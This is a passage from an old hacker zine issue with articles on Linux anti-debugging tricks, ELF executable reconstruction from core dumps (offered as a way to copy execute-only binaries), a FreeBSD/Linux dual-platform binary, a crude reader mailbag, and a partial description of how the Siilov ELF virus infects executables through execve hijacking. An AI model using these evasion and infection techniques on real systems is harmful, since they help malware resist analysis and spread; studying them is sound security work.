804834b: 00 5e eb addb %bl,0xffffffeb(%esi)
|
|
804834e: 00 81 c6 0f 00 addb %al,0xfc6(%ecx)
|
|
8048353: 00
|
|
8048354: 00 8b 7e 00 56 addb %cl,0xff56007e(%ebx)
|
|
8048359: ff
|
|
804835a: e7 00 outl %eax,$0x0
|
|
804835c: 00 00 addb %al,(%eax)
|
|
804835e: 00 89 ec 5d c3 addb %cl,0x90c35dec(%ecx)
|
|
8048363: 90
|
|
8048364: 90 nop
|
|
|
|
.
|
|
.
|
|
.
|
|
|
|
|
|
DETECTING BREAKPOINTS
|
|
---------------------
|
|
|
|
A breakpoint is defined by overwriting the breakpoint address with an int3
|
|
opcode (0xcc). If a program is being traced (man ptrace) then an int3 will
|
|
cause the process to stop. This is when the parent process debugging takes
|
|
over control. To continue processing it is up to the debugger to overwrite
|
|
the int3 opcode with the original opcode. Thus to detect a breakpoint, the
|
|
program simply has to check for an int3 opcode. Another solution is to
|
|
checksum the code image. If the checksum fails, the code has been modified,
|
|
and a breakpoint is probably the culprit.
|
|
|
|
void foo()
|
|
{
|
|
printf("Hello\n");
|
|
}
|
|
|
|
int main()
|
|
{
|
|
if ((*(volatile unsigned *)((unsigned)foo + 3) & 0xff) == 0xcc) {
|
|
printf("BREAKPOINT\n");
|
|
exit(1);
|
|
}
|
|
foo();
|
|
}
|
|
|
|
--
|
|
|
|
$ gdb
|
|
GDB is free software and you are welcome to distribute copies of it
|
|
under certain conditions; type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB; type "show warranty" for details.
|
|
GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc.
|
|
(gdb) file a.out
|
|
Reading symbols from a.out...done.
|
|
(gdb) break foo
|
|
Breakpoint 1 at 0x8048373: file break.c, line 3.
|
|
(gdb) run
|
|
Starting program: /home/silvio/src/antidebug/a.out
|
|
BREAKPOINT
|
|
|
|
Program exited with code 01.
|
|
(gdb) quit
|
|
$ ./a.out
|
|
Hello
|
|
$
|
|
|
|
|
|
SETTING UP FALSE BREAKPOINTS
|
|
----------------------------
|
|
|
|
As stated earlier, a breakpoint is created by overwriting the address with
|
|
an int3 opcode (0xcc). To setup a false breakpoint then we simply insert an
|
|
int3 into the code. This also raises a SIGTRAP, and thus if our code has a
|
|
signal handler we can continue processing after the breakpoint.
|
|
|
|
|
|
#include <signal.h>
|
|
|
|
void handler(int signo)
|
|
{
|
|
}
|
|
|
|
int main()
|
|
{
|
|
signal(handler, SIGTRAP);
|
|
__asm__("
|
|
int3
|
|
");
|
|
printf("Hello\n");
|
|
}
|
|
|
|
--
|
|
|
|
$ gdb
|
|
GDB is free software and you are welcome to distribute copies of it
|
|
under certain conditions; type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB; type "show warranty" for details.
|
|
GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc.
|
|
(gdb) file a.out
|
|
Reading symbols from a.out...(no debugging symbols found)...done.
|
|
(gdb) run
|
|
Starting program: /home/silvio/src/antidebug/a.out
|
|
(no debugging symbols found)...(no debugging symbols found)...
|
|
Program received signal SIGTRAP, Trace/breakpoint trap.
|
|
0x80483c3 in main ()
|
|
(gdb) c
|
|
Continuing.
|
|
Hello
|
|
|
|
Program exited with code 06.
|
|
(gdb) quit
|
|
$ ./a.out
|
|
Hello
|
|
$
|
|
|
|
|
|
DETECTING DEBUGGING
|
|
-------------------
|
|
|
|
This is an elegant technique to detect if a debugger or program tracer such
|
|
as strace or ltrace is being used on the target program. The premise of
|
|
this technique is that a ptrace[PTRACE_TRACEME] cannot be called in
|
|
succession more than once for a process. All debuggers and program tracers
|
|
use this call to setup debugging for a process.
|
|
|
|
int main()
|
|
{
|
|
if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {
|
|
printf("DEBUGGING... Bye\n");
|
|
return 1;
|
|
}
|
|
printf("Hello\n");
|
|
return 0;
|
|
}
|
|
|
|
--
|
|
|
|
$ gdb
|
|
GDB is free software and you are welcome to distribute copies of it
|
|
under certain conditions; type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB; type "show warranty" for details.
|
|
GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc.
|
|
(gdb) file a.out
|
|
Reading symbols from a.out...done.
|
|
(gdb) run
|
|
Starting program: /home/silvio/src/antidebug/a.out
|
|
DEBUGGING... Bye
|
|
|
|
Program exited with code 01.
|
|
(gdb) quit
|
|
$ ./a.out
|
|
Hello
|
|
$
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
INSERT: graphic
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@
|
|
! Elf Executable Reconstruction From a Core Image ! silvio
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@
|
|
|
|
|
|
TABLE OF CONTENTS
|
|
-----------------
|
|
|
|
KERNEL CHANGES FROM 2.0 TO 2.2
|
|
INTRODUCTION
|
|
THE PROCESS IMAGE
|
|
THE CORE IMAGE
|
|
EXECUTABLE RECONSTRUCTION
|
|
FAILURES IN RECONSTRUCTION
|
|
USES OF RECONSTRUCTION
|
|
|
|
|
|
KERNEL CHANGES FROM 2.0 TO 2.2
|
|
------------------------------
|
|
|
|
This article was written primarily in Linux 2.0.x but the code was patched
|
|
to work in both 2.0.x and 2.2.x If any inconsistancies occur in this
|
|
article related to kernel changes (the ELF core dump image I know has
|
|
changed. No longer is the first PT_LOAD segment in the image the TEXT
|
|
segment). I may modify this article to reflect 2.2, but this is currently
|
|
not planned.
|
|
|
|
Silvio Cesare, 28 January 2000
|
|
|
|
|
|
INTRODUCTION
|
|
------------
|
|
|
|
This article documents the results from experimenting with binary
|
|
reconstruction of an ELF executable given a core dump or snapshot of the
|
|
process image. ELF knowledge is assumed and it is suggested that the
|
|
interested reader understand the structure of an ELF binary before
|
|
undertaking full understanding, but if only a rudimentary understanding of
|
|
the reconstruction is required, then it may be possible to ignore ELF
|
|
understanding. A Linux implementation of this reconstruction code is
|
|
provided.
|
|
|
|
|
|
THE PROCESS IMAGE
|
|
-----------------
|
|
|
|
In summary, a core image is a dump of the process image at dump time. The
|
|
process image contains a number of loadable program segments or virtual
|
|
memory regions. In an ELF binary these are referred to by program headers
|
|
and in the Linux kernel they are referred to as vm_area_struct's. The actual
|
|
core dump is a dump of the vm_area_struct's but these correspond to the
|
|
program headers of the executable and shared libraries used to create the
|
|
process image. In Linux, a group of vm_area_struct's are referred to
|
|
as a memory map or as a map in the proc file system. A typical map is given
|
|
below for a program using libc.
|
|
|
|
debian# cat /proc/16114/maps
|
|
08048000-08049000 r-xp 00000000 03:03 50198
|
|
08049000-0804a000 rw-p 00000000 03:03 50198
|
|
40000000-4000a000 r-xp 00000000 03:03 6001
|
|
4000a000-4000c000 rw-p 00009000 03:03 6001
|
|
4000c000-4000e000 r--p 00000000 03:03 30009
|
|
4000e000-400a0000 r-xp 00000000 03:03 6030
|
|
400a0000-400a7000 rw-p 00091000 03:03 6030
|
|
400a7000-400b4000 rw-p 00000000 00:00 0
|
|
bffff000-c0000000 rwxp 00000000 00:00 0
|
|
|
|
The first two memory regions using virtual addresses 8048000 - 8049000 and
|
|
8049000 - 804a000 correspond to the text and data segments respectively.
|
|
Notice also that the permission bits represent this also. Also notice that
|
|
the memory regions only lie on page borders. All memory regions in a core
|
|
dump or mapping lie on page borders. This means, that the smallest memory
|
|
region is one page long. It must also be noted that a program segment
|
|
represented by a program header in an ELF binary does not have to lie on
|
|
a page border, so program segments do not map one to one on virtual memory
|
|
regions. The following six mappings correspond to libc memory regions.
|
|
The last region is the stack.
|
|
|
|
|
|
THE CORE IMAGE
|
|
--------------
|
|
|
|
The core image as stated above is a dump of the process image with some
|
|
extra sections for registers and any useful information. In an ELF core
|
|
image, the memory regions belonging to the process image as stated correspond
|
|
to program segments, so a core file has a list of program headers each for
|
|
each virtual memory region. The register information and so forth is stored
|
|
in a notes section in the ELF binary. To reconstruct an executable from
|
|
a core dump or process image we can ignore the registers and concentrate
|
|
only on the memory regions.
|
|
|
|
|
|
EXECUTABLE RECONSTRUCTION
|
|
--------------------------
|
|
|
|
To reconstruct an executable from a core dump we simply have to create
|
|
the ELF execute Abel with the memory regions corresponding to the text and
|
|
data segments of the core image. It must be remembered, that when loading
|
|
the text segment, the ELF header and program headers are also loaded into
|
|
memory (for efficiency) so we can use these for our executable image.
|
|
The executable ELF header contains such information as the true text and data
|
|
segment start and size (remember the memory regions lie on page borders).
|
|
|
|
Now, if we only use the text and data segments in our reconstruction, the
|
|
result executable may only work on the system it was reconstructed on.
|
|
This is because the Procedure Linkage Table (PLT) may have resolved shared
|
|
library functions to point to its loaded value. Moving the binary means
|
|
that the library may be at a different position, or that the function may
|
|
be at a different location. Thus for true, system independence, the entire
|
|
image excluding the stack must be used in the reconstructed executable.
|
|
|
|
|
|
FAILURES IN RECONSTRUCTION
|
|
--------------------------
|
|
|
|
The problem with reconstruction, is that the snapshot of the process image
|
|
is at runtime, not at initiation time, so its possible that the data segment
|
|
which is writable may have changed values. Consider the following code
|
|
|
|
static int i = 0;
|
|
|
|
int main()
|
|
{
|
|
if (i++) exit(0);
|
|
printf("Hi\n");
|
|
}
|
|
|
|
In this instance, reconstructing the image will result in an executable that
|
|
immediately exits because it relies on the initial value of the global
|
|
variable 'i'. The educated user may use debugging tools to find such code
|
|
but for the uneducated user its not so easy.
|
|
|
|
USES OF RECONSTRUCTION
|
|
----------------------
|
|
|
|
Reconstructing images does not have many uses outside academic use but one
|
|
possible use is the ability to copy an executable that has only execute
|
|
permission on. Creating the core dump is easy by sending the process a
|
|
SIGSEGV or alternately, the image may be copied from the process image in
|
|
the proc filesystem.
|
|
|
|
--
|
|
|
|
$ cat test_harness.c
|
|
int main()
|
|
{
|
|
for (;;) printf("Hi\n");
|
|
}
|
|
$ gcc test_harness.c -o test_harness
|
|
$ ./test_harness
|
|
Hi
|
|
Hi
|
|
Hi
|
|
.
|
|
.
|
|
.
|
|
$ kill -SIGSEGV `ps|grep test_harness|grep -v grep|awk '{print $1}'`
|
|
$ ./core_reconstruct
|
|
$ ./a.out
|
|
Hi
|
|
Hi
|
|
Hi
|
|
.
|
|
.
|
|
.
|
|
|
|
--------------------------------- CUT ---------------------------------------
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <elf.h>
|
|
#include <stdarg.h>
|
|
#include <string.h>
|
|
|
|
void die(const char *fmt, ...)
|
|
{
|
|
va_list ap;
|
|
|
|
va_start(ap, fmt);
|
|
vfprintf(stderr, fmt, ap);
|
|
va_end(ap);
|
|
fputc('\n', stderr);
|
|
exit(1);
|
|
}
|
|
|
|
#define PAGE_SIZE 4096
|
|
|
|
static char shstr[] =
|
|
"\0"
|
|
".symtab\0"
|
|
".strtab\0"
|
|
".shstrtab\0"
|
|
".interp\0"
|
|
".hash\0"
|
|
".dynsym\0"
|
|
".dynstr\0"
|
|
".rel.got\0"
|
|
".rel.bss\0"
|
|
".rel.plt\0"
|
|
".init\0"
|
|
".plt\0"
|
|
".text\0"
|
|
".fini\0"
|
|
".rodata\0"
|
|
".data\0"
|
|
".ctors\0"
|
|
".dtors\0"
|
|
".got\0"
|
|
".dynamic\0"
|
|
".bss\0"
|
|
".comment\0"
|
|
".note"
|
|
;
|
|
|
|
char *xget(int fd, int off, int sz)
|
|
{
|
|
char *buf;
|
|
|
|
if (lseek(fd, off, SEEK_SET) < 0) die("Seek error");
|
|
buf = (char *)malloc(sz);
|
|
if (buf == NULL) die("No memory");
|
|
if (read(fd, buf, sz) != sz) die("Read error");
|
|
return buf;
|
|
}
|
|
|
|
void do_elf_checks(Elf32_Ehdr *ehdr)
|
|
{
|
|
if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) die("File not ELF");
|
|
if (ehdr->e_type != ET_CORE) die("ELF type not ET_CORE");
|
|
if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486)
|
|
die("ELF machine type not EM_386 or EM_486");
|
|
if (ehdr->e_version != EV_CURRENT) die("ELF version not current");
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
Elf32_Ehdr ehdr, *core_ehdr;
|
|
Elf32_Phdr *phdr, *core_phdr, *tmpphdr;
|
|
Elf32_Shdr shdr;
|
|
char *core;
|
|
char *data[2], *core_data[3];
|
|
int prog[2], core_prog[3];
|
|
int in, out;
|
|
int i, p;
|
|
int plen;
|
|
|
|
if (argc > 2) die("usage: %s [core-file]");
|
|
|
|
if (argc == 2) core = argv[1];
|
|
else core = "core";
|
|
in = open(core, O_RDONLY);
|
|
if (in < 0) die("Coudln't open file: %s", core);
|
|
|
|
if (read(in, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) die("Read error");
|
|
do_elf_checks(&ehdr);
|
|
|
|
if (lseek(in, ehdr.e_phoff, SEEK_SET) < 0) die("Seek error");
|
|
phdr = (Elf32_Phdr *)malloc(plen = sizeof(Elf32_Phdr)*ehdr.e_phnum);
|
|
if (read(in, phdr, plen) != plen) die("Read error");
|
|
|
|
for (i = 0; i < ehdr.e_phnum; i++)
|
|
printf("0x%x - 0x%x (%i)\n",
|
|
phdr[i].p_vaddr, phdr[i].p_vaddr + phdr[i].p_memsz, phdr[i].p_memsz);
|
|
|
|
/*
|
|
copy segments (in memory)
|
|
|
|
prog/data[0] ... text
|
|
prog/data[1] ... data
|
|
prog/data[2] ... dynamic
|
|
*/
|
|
for (i = 0, p = 0; i < ehdr.e_phnum; i++) {
|
|
if (
|
|
phdr[i].p_vaddr >= 0x8000000 &&
|
|
phdr[i].p_type == PT_LOAD
|
|
) {
|
|
prog[p] = i;
|
|
if (p == 1) break;
|
|
++p;
|
|
}
|
|
}
|
|
if (i == ehdr.e_phnum) die("Couldnt find TEXT/DATA");
|
|
|
|
for (i = 0; i < 2; i++) data[i] = xget(
|
|
in,
|
|
phdr[prog[i]].p_offset,
|
|
(phdr[prog[i]].p_memsz + 4095) & 4095
|
|
);
|
|
|
|
core_ehdr = (Elf32_Ehdr *)&data[0][0];
|
|
core_phdr = (Elf32_Phdr *)&data[0][core_ehdr->e_phoff];
|
|
|
|
for (i = 0, p = 0; i < core_ehdr->e_phnum; i++) {
|
|
if (core_phdr[i].p_type == PT_LOAD) {
|
|
core_prog[p] = i;
|
|
if (p == 0) {
|
|
core_data[0] = &data[0][0];
|
|
} else {
|
|
core_data[1] = &data[1][
|
|
(core_phdr[i].p_vaddr & 4095)
|
|
];
|
|
break;
|
|
}
|
|
++p;
|
|
}
|
|
}
|
|
if (i == core_ehdr->e_phnum) die("No TEXT and DATA segment");
|
|
for (i = 0; i < core_ehdr->e_phnum; i++) {
|
|
if (core_phdr[i].p_type == PT_DYNAMIC) {
|
|
core_prog[2] = i;
|
|
core_data[2] = &data[1][64];
|
|
break;
|
|
}
|
|
}
|
|
if (i == core_ehdr->e_phnum) die("No DYNAMIC segment");
|
|
|
|
out = open("a.out", O_WRONLY | O_CREAT | O_TRUNC);
|
|
if (out < 0) die("Coudln't open file: %s", "a.out");
|
|
|
|
core_ehdr->e_shoff =
|
|
core_phdr[core_prog[2]].p_offset +
|
|
core_phdr[core_prog[2]].p_filesz +
|
|
sizeof(shstr);
|
|
|
|
/*
|
|
text
|
|
data
|
|
bss
|
|
dynamic
|
|
shstrtab
|
|
*/
|
|
core_ehdr->e_shnum = 6;
|
|
core_ehdr->e_shstrndx = 5;
|
|
|
|
for (i = 0; i < 2; i++) {
|
|
Elf32_Phdr *p = &core_phdr[core_prog[i]];
|
|
int sz = p->p_filesz;
|
|
|
|
if (lseek(out, p->p_offset, SEEK_SET) < 0) goto cleanup;
|
|
if (write(out, core_data[i], sz) != sz) goto cleanup;
|
|
}
|
|
|
|
if (write(out, shstr, sizeof(shstr)) != sizeof(shstr)) goto cleanup;
|
|
|
|
memset(&shdr, 0, sizeof(shdr));
|
|
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
|
|
|
|
/*
|
|
text section
|
|
*/
|
|
tmpphdr = &core_phdr[core_prog[0]];
|
|
|
|
shdr.sh_name = 95;
|
|
shdr.sh_type = SHT_PROGBITS;
|
|
shdr.sh_addr = tmpphdr->p_vaddr;
|
|
shdr.sh_offset = 0;
|
|
shdr.sh_size = tmpphdr->p_filesz;
|
|
shdr.sh_flags = SHF_ALLOC | SHF_EXECINSTR;
|
|
shdr.sh_link = 0;
|
|
shdr.sh_info = 0;
|
|
shdr.sh_addralign = 16;
|
|
shdr.sh_entsize = 0;
|
|
|
|
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
|
|
|
|
/*
|
|
data section
|
|
*/
|
|
tmpphdr = &core_phdr[core_prog[1]];
|
|
|
|
shdr.sh_name = 115;
|
|
shdr.sh_type = SHT_PROGBITS;
|
|
shdr.sh_addr = tmpphdr->p_vaddr;
|
|
shdr.sh_offset = tmpphdr->p_offset;
|
|
shdr.sh_size = tmpphdr->p_filesz;
|
|
shdr.sh_flags = SHF_ALLOC | SHF_WRITE;
|
|
shdr.sh_link = 0;
|
|
shdr.sh_info = 0;
|
|
shdr.sh_addralign = 4;
|
|
shdr.sh_entsize = 0;
|
|
|
|
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
|
|
|
|
/*
|
|
dynamic section
|
|
*/
|
|
for (i = 0; i < core_ehdr->e_phnum; i++) {
|
|
if (core_phdr[i].p_type == PT_DYNAMIC) {
|
|
tmpphdr = &core_phdr[i];
|
|
break;
|
|
}
|
|
}
|
|
|
|
shdr.sh_name = 140;
|
|
shdr.sh_type = SHT_PROGBITS;
|
|
shdr.sh_addr = tmpphdr->p_vaddr;
|
|
shdr.sh_offset = tmpphdr->p_offset;
|
|
shdr.sh_size = tmpphdr->p_memsz;
|
|
shdr.sh_flags = SHF_ALLOC;
|
|
shdr.sh_link = 0;
|
|
shdr.sh_info = 0;
|
|
shdr.sh_addralign = 4;
|
|
shdr.sh_entsize = 8;
|
|
|
|
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
|
|
|
|
/*
|
|
bss section
|
|
*/
|
|
shdr.sh_name = 149;
|
|
shdr.sh_type = SHT_PROGBITS;
|
|
shdr.sh_addr = tmpphdr->p_vaddr + tmpphdr->p_filesz;
|
|
shdr.sh_offset = tmpphdr->p_offset + tmpphdr->p_filesz;
|
|
shdr.sh_size = tmpphdr->p_memsz - tmpphdr->p_filesz;
|
|
shdr.sh_flags = SHF_ALLOC;
|
|
shdr.sh_link = 0;
|
|
shdr.sh_info = 0;
|
|
shdr.sh_addralign = 1;
|
|
shdr.sh_entsize = 0;
|
|
|
|
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
|
|
|
|
/*
|
|
shstrtab
|
|
*/
|
|
|
|
shdr.sh_name = 17;
|
|
shdr.sh_type = SHT_STRTAB;
|
|
shdr.sh_addr = 0;
|
|
shdr.sh_offset = core_ehdr->e_shoff - sizeof(shstr);
|
|
shdr.sh_size = sizeof(shstr);
|
|
shdr.sh_flags = 0;
|
|
shdr.sh_link = 0;
|
|
shdr.sh_info = 0;
|
|
shdr.sh_addralign = 1;
|
|
shdr.sh_entsize = 0;
|
|
|
|
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
|
|
|
|
return 0;
|
|
|
|
cleanup:
|
|
unlink("a.out");
|
|
die("Error writing file: %s", "a.out");
|
|
return 1; /* not reached */
|
|
}
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
INSERT: graphic
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#
|
|
! B4B0 Mailbag ! the party programme
|
|
~!@#~!@#~!@#~!@#
|
|
|
|
This is the first time doing the B4B0 Mailbag, so right now it's just a
|
|
selection of emails since 1998. We'll have this as a regular thing from
|
|
here on.
|
|
|
|
=========================================================================
|
|
> Date: Fri, 30 Oct 1998 06:34:52 -0700 (MST)
|
|
> From: Joe S. Phigan <phigan@REMOVED>
|
|
> Subject: w0rd.
|
|
>
|
|
> <Devi0us_> b4b0?
|
|
> <Devi0us_> wasn't that mr burn's bear?
|
|
>
|
|
> i th0t it wuz funnie.
|
|
|
|
We're laughing on the inside.
|
|
|
|
|
|
=========================================================================
|
|
> Date: Mon, 9 Nov 1998 12:30:27 +0000 ( )
|
|
> From: Packet Storm <tattooman@REMOVED>
|
|
> Subject: b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! ...
|
|
>
|
|
> Hey,
|
|
>
|
|
> B4B0 kicks some motherfucking ass.
|
|
>
|
|
> We had to snarf the whole fucking B4B0 archives for the NSA and .mil goons
|
|
> who visit our site.
|
|
>
|
|
> http://www.genocide2600.com/~tattooman/b4b0/
|
|
>
|
|
> Regards,
|
|
>
|
|
> Ken Williams
|
|
|
|
Yeah, this email is a couple years old, and Packet Storm had transferred
|
|
ownership since then (coincidentally to guys that are friends of ours).
|
|
Anyhow, thanks Ken, and we hope all is well with you.
|
|
|
|
|
|
=========================================================================
|
|
> Date: Tue, 10 Nov 1998 22:56:01 -0500 (EST)
|
|
> From: Dr. Mudge <mudge@REMOVED>
|
|
> Subject: kudos
|
|
>
|
|
> Cheers on a throughly enjoyable issue #5 for b4b0.
|
|
>
|
|
> I'm still laughing my ass off 'bout libclear ;)
|
|
>
|
|
> .mudge
|
|
>
|
|
> PS - feel free to tell prym that I'll post about the math prob if I can
|
|
> find it... but that's far from a guarantee that I'll hit upon it.
|
|
|
|
Yeah, this is another email that's a couple years old. Thanks, and I don't
|
|
remember if we told prym about this email or not.
|
|
|
|
|
|
=========================================================================
|
|
> Date: Tue, 29 Sep 1998 14:57:34 EDT
|
|
> From: TWiNk197@aol.com
|
|
> Subject: Re: OMG I MISS YOU.
|
|
>
|
|
> Ahhhh!! I brought you from your CODING? I feel SPECIAL! :P
|
|
> Well, I came on IRC a couple times and you were away so I got off.. and
|
|
> school is also taking up sooooooooooo much time cuz I have school till 2:10
|
|
> then I have yearbook or newspaper or morning star or volunteering or im
|
|
> getting a job soon.. then i have speeches to write, articles to do, plus i
|
|
> meet my friend at the library to study for SATs (HER idea).. I don't like
|
|
> being so busy!! But that'z still no excuse to neglect my poor friend Sam :P
|
|
> Well.. I have to go now.. I have a dentist appointment in an hour... and I
|
|
> have *get ready to like.. drop your jaw*.. SEVEN CAVITIES!! It's the
|
|
> accumulation of like all my cavities cuz I haven't been to the dentist in
|
|
> years.. but still.. SEVEN? Ugh.. so today they're going to kill me. I felt
|
|
> like choking from the routine check up, I can only IMAGINE NOVOCAINE!! But
|
|
> anyway.. it was nice knowing you.. ttyl.. if I survive.. I doubt it tho..
|
|
> *huGz*
|
|
> Rachel
|
|
> P.S. I missed you too :)
|
|
|
|
I think this email was intended for someone specific. But we'll take what
|
|
we can get. It's nice to feel loved.
|
|
|
|
|
|
=========================================================================
|
|
> Date: Wed, 25 Nov 1998 08:19:12 -0800 (PST)
|
|
> From: Lucifer Satan <diranged_666@REMOVED>
|
|
> Subject: uhm...
|
|
>
|
|
> don't you ever grow tired of insulting people in your zine yet?
|
|
|
|
No. But we love you.
|
|
|
|
|
|
=========================================================================
|
|
> Date: Sun, 13 Dec 1998 02:17:43 -0500 (EST)
|
|
> From: The Lizard King <plurbius@REMOVED>
|
|
> Subject: lets see how you liek this you fuck tymat
|
|
>
|
|
> Bringing forth the dox once again..
|
|
>
|
|
> -The Monk
|
|
|
|
We love you as well.
|
|
|
|
|
|
Actually, that's it for the mailbag this issue. Next issue, we'll answer
|
|
emails from 1999.
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
INSERT: graphic
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#
|
|
! Multiplatform FreeBSD/Linux Binaries ! silvio
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#
|
|
|
|
|
|
INTRODUCTION
|
|
------------
|
|
|
|
This article will show a technique that enables a single binary or code
|
|
snippet that executes successfuly under two different operating systems
|
|
without any native support. The operating systems are x86 Linux and FreeBSD
|
|
both supporting ELF binaries and FreeBSD using the int80 interface of making
|
|
a system call.
|
|
|
|
PROCEDURE
|
|
---------
|
|
|
|
The premise of this idea is simple, both operating systems use the same
|
|
object format and method of making a system call. However FreeBSD has more
|
|
system calls than Linux does, so we can simply make a system call that exists
|
|
in FreeBSD and doesnt in Linux and from the results determine which OS we
|
|
are using.
|
|
|
|
To create a complete binary that executes in both operating systems, we need
|
|
only compile the supplied program (hello.c) in either system. Because
|
|
FreeBSD uses ELF branding, we must brand the executeable so it executes in
|
|
that operating system. The only thing branding does is place a string (the
|
|
brandname) in the ELF header padding (at file offset eight). This also means
|
|
the brandname can be a maximum of eight characters). Also note, that libc
|
|
must be avoided to avoid conflicts in system calls etc.
|
|
|
|
$ gcc brandelf.c -o brandelf
|
|
$ gcc -nostdlib hello.c -o hello
|
|
$ ./brandelf hello FreeBSD
|
|
|
|
The binary 'hello' is now a multiplatform FreeBSD/Linux binary
|
|
|
|
|
|
------------------------------- hello.c ---------------------------------
|
|
|
|
void _start()
|
|
{
|
|
asm("
|
|
movl $207, %eax
|
|
int $0x80
|
|
cmp $-38, %eax
|
|
jne FreeBSD
|
|
Linux:
|
|
movl $4, %eax
|
|
movl $1, %ebx
|
|
movl $string, %ecx
|
|
movl $6, %edx
|
|
int $0x80
|
|
movl $1, %eax
|
|
movl $0, %ebx
|
|
int $0x80
|
|
FreeBSD:
|
|
movl $4, %eax
|
|
pushl $6
|
|
pushl $string
|
|
pushl $1
|
|
pushl $0
|
|
int $0x80
|
|
movl $1, %eax
|
|
pushl $0
|
|
pushl $0
|
|
int $0x80
|
|
string:
|
|
.ascii \"Hello\\n\"
|
|
");
|
|
}
|
|
|
|
------------------------------ brandelf.c ------------------------------
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int fd;
|
|
|
|
if (argc == 2) {
|
|
char brandname[8];
|
|
|
|
fd = open(argv[1], O_RDONLY);
|
|
if (lseek(fd, 8, SEEK_SET) != 8) {
|
|
perror("lseek");
|
|
exit(1);
|
|
}
|
|
if (read(fd, brandname, 8) != 8) {
|
|
perror("read");
|
|
exit(1);
|
|
}
|
|
printf("%s\n", brandname);
|
|
} else if (argc == 3) {
|
|
int len;
|
|
|
|
len = strlen(argv[2]);
|
|
if (len >= 8) {
|
|
fprintf(stderr, "Brandname must be < 8 chars\n");
|
|
exit(1);
|
|
}
|
|
|
|
fd = open(argv[1], O_RDWR);
|
|
if (lseek(fd, 8, SEEK_SET) != 8) {
|
|
perror("lseek");
|
|
exit(1);
|
|
}
|
|
if (write(fd, argv[2], len) != len) {
|
|
perror("read");
|
|
exit(1);
|
|
}
|
|
} else {
|
|
fprintf(stderr, "usage: %s filename [brandname]\n", argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
close(fd);
|
|
}
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
INSERT: graphic
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#
|
|
! Siilov Virus ! silvio
|
|
~!@#~!@#~!@#~!@#
|
|
|
|
|
|
The Siilov virus is a Linux x86 parasitic ELF virus written by the author
|
|
Silvio Cesare in late 1999. Its argueably the most complete Unix virus seen
|
|
before the year 2000.
|
|
|
|
It infects files via two distinct methods. This never seen befer method,
|
|
uses residency for the life of the process running the virus. It modifies
|
|
the procedure linkage table (PLT) of the running executeable to gain control
|
|
of the 'execve' call and infect any file that is passed via this call if the
|
|
file access permits it.
|
|
|
|
If the superuser runs the virus, then /sbin/init becomes infected, which
|
|
will should then infect effectively the entire system as every process is a
|
|
descendant of init. However, the standard init binary does not use the
|
|
execve library call but instead uses execl and execvp, thus even though init
|
|
can become infected, the virus cannot stay resident.
|
|
|
|
However, other programs such as the bash shell do use execve and if for
|
|
instance this becomes infected, the virus will indeed this time stay resident
|
|
and attempt infection on every program the user executes from the shell
|
|
during the login session.
|
|
|
|
The other method of infection is standard direct infection which tries to
|
|
infect executeables in the current directory much the same way as the VIT
|
|
and FILE virus do.
|
|
|
|
The actual method of ELF infection is again new to the Unix virus arena.
|
|
Data infection is used, which has the decisive advantage that the parasitic
|
|
virus can be of any length; remember the VIT virus was limited to 4096 bytes
|
|
as a maximum, and much less to be effective.
|
|
|
|
This particular infection method works by inserting the virus code at the
|
|
end of the data segment in the binary. The data segment is normally marked
|
|
as non executeable, however under certain operating systems and
|
|
architectures, having read and write permission implies execute permission.
|
|
|
|
Again as the VIT virus, inserting new data into the file requires a section
|
|
to account for the new part of the binary if the file is to remain
|
|
compatable with other programs that use the BFD library such as objjdump and
|
|
string. Strip in particular as mentioned, will delete the data if no
|
|
section accounts for it.
|
|
|
|
The Siilov virus is strip safe as a new section (.data1) is added; which
|
|
appears after the dynamic section and thus makes it rather suspicious for
|
|
